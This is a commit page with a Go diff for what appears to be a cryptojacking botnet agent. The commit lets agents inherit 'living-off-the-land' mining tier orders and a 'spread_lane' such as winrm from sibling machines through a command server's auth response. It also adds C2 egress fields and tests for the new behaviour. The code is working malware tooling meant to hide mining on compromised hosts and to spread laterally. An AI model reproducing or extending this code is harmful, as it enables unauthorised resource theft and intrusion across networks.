Add fleet phenotype cloning for sibling machines.
Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth.
This commit is contained in:
@@ -8,11 +8,27 @@ import (
|
||||
|
||||
func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 {
|
||||
policy := c.tierPolicy
|
||||
if len(policy.TierOrder) == 0 && policy.ForceTier == "" && len(policy.SkipTiers) == 0 && len(c.atlasSkips) == 0 {
|
||||
c.mu.Unlock()
|
||||
return miner.DefaultMiningTierPolicy()
|
||||
}
|
||||
return c.tierPolicy
|
||||
if len(c.atlasSkips) > 0 {
|
||||
have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers))
|
||||
for _, t := range policy.SkipTiers {
|
||||
have[t] = true
|
||||
}
|
||||
for _, skip := range c.atlasSkips {
|
||||
tier := miner.LOTLTier(skip.Tier)
|
||||
if tier == "" || have[tier] {
|
||||
continue
|
||||
}
|
||||
have[tier] = true
|
||||
policy.SkipTiers = append(policy.SkipTiers, tier)
|
||||
}
|
||||
}
|
||||
c.mu.Unlock()
|
||||
return policy
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
@@ -20,6 +36,13 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) {
|
||||
if len(resp.MiningTierPolicy) > 0 {
|
||||
c.applyMiningTierPolicyJSON(resp.MiningTierPolicy)
|
||||
}
|
||||
if len(resp.AtlasSkips) > 0 {
|
||||
c.applyAtlasSkips(resp.AtlasSkips)
|
||||
}
|
||||
if inheritedPhenotypePresent(resp.InheritedPhenotype) {
|
||||
c.applyInheritedPhenotypeJSON(resp.InheritedPhenotype)
|
||||
return
|
||||
}
|
||||
if len(resp.AdaptiveStrategy) > 0 {
|
||||
c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy)
|
||||
return
|
||||
|
||||
47
agent/client/phenotype_policy.go
Normal file
47
agent/client/phenotype_policy.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"log"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
type InheritedPhenotype struct {
|
||||
SourceAgentName string `json:"source_agent_name"`
|
||||
Fingerprint string `json:"fingerprint,omitempty"`
|
||||
SpreadLane string `json:"spread_lane,omitempty"`
|
||||
TierOrder []string `json:"tier_order"`
|
||||
ActiveTier string `json:"active_tier,omitempty"`
|
||||
PeakHashrate float64 `json:"peak_hashrate,omitempty"`
|
||||
}
|
||||
|
||||
func inheritedPhenotypePresent(raw json.RawMessage) bool {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return false
|
||||
}
|
||||
var p InheritedPhenotype
|
||||
return json.Unmarshal(raw, &p) == nil && len(p.TierOrder) > 0
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyInheritedPhenotypeJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var p InheritedPhenotype
|
||||
if err := json.Unmarshal(raw, &p); err != nil || len(p.TierOrder) == 0 {
|
||||
return
|
||||
}
|
||||
order := make([]miner.LOTLTier, len(p.TierOrder))
|
||||
for i, t := range p.TierOrder {
|
||||
order[i] = miner.LOTLTier(t)
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.tierPolicy = miner.MiningTierPolicy{TierOrder: order}
|
||||
c.mu.Unlock()
|
||||
if p.SpreadLane != "" {
|
||||
c.setJoinLane(p.SpreadLane)
|
||||
}
|
||||
log.Printf("[agent] inherited phenotype from %s (%d tiers, spread_lane=%s)",
|
||||
p.SourceAgentName, len(p.TierOrder), p.SpreadLane)
|
||||
}
|
||||
43
agent/client/phenotype_policy_test.go
Normal file
43
agent/client/phenotype_policy_test.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestApplyInheritedPhenotypeBeforeAdaptive(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
adaptive, _ := json.Marshal(AdaptiveStrategy{
|
||||
TierOrder: []string{"stratum_direct"},
|
||||
})
|
||||
inherited, _ := json.Marshal(InheritedPhenotype{
|
||||
SourceAgentName: "worker-07",
|
||||
TierOrder: []string{"container", "wsl", "cpu_inprocess"},
|
||||
SpreadLane: "winrm",
|
||||
})
|
||||
c.applyAuthLotlPolicy(AuthResponse{
|
||||
InheritedPhenotype: inherited,
|
||||
AdaptiveStrategy: adaptive,
|
||||
})
|
||||
policy := c.miningTierPolicy()
|
||||
if len(policy.TierOrder) != 3 || policy.TierOrder[0] != miner.TierContainer {
|
||||
t.Fatalf("expected inherited tier order, got %+v", policy.TierOrder)
|
||||
}
|
||||
if c.getJoinLane() != "winrm" {
|
||||
t.Fatalf("expected spread_lane winrm, got %q", c.getJoinLane())
|
||||
}
|
||||
}
|
||||
|
||||
func TestAdaptiveStrategyUsedWithoutPhenotype(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
adaptive, _ := json.Marshal(AdaptiveStrategy{
|
||||
TierOrder: []string{"wsl", "cpu_inprocess"},
|
||||
})
|
||||
c.applyAuthLotlPolicy(AuthResponse{AdaptiveStrategy: adaptive})
|
||||
policy := c.miningTierPolicy()
|
||||
if len(policy.TierOrder) != 2 || policy.TierOrder[0] != miner.TierWSL {
|
||||
t.Fatalf("expected adaptive tier order, got %+v", policy.TierOrder)
|
||||
}
|
||||
}
|
||||
@@ -61,7 +61,10 @@ type AuthResponse struct {
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"`
|
||||
TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"`
|
||||
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
|
||||
AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"`
|
||||
ClearanceLevel int `json:"clearance_level,omitempty"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
@@ -141,6 +144,7 @@ type StatsPayload struct {
|
||||
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
|
||||
LOTLTier string `json:"lotl_tier,omitempty"`
|
||||
LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"`
|
||||
AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"`
|
||||
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
|
||||
JoinLane string `json:"join_lane,omitempty"`
|
||||
|
||||
|
||||
Reference in New Issue
Block a user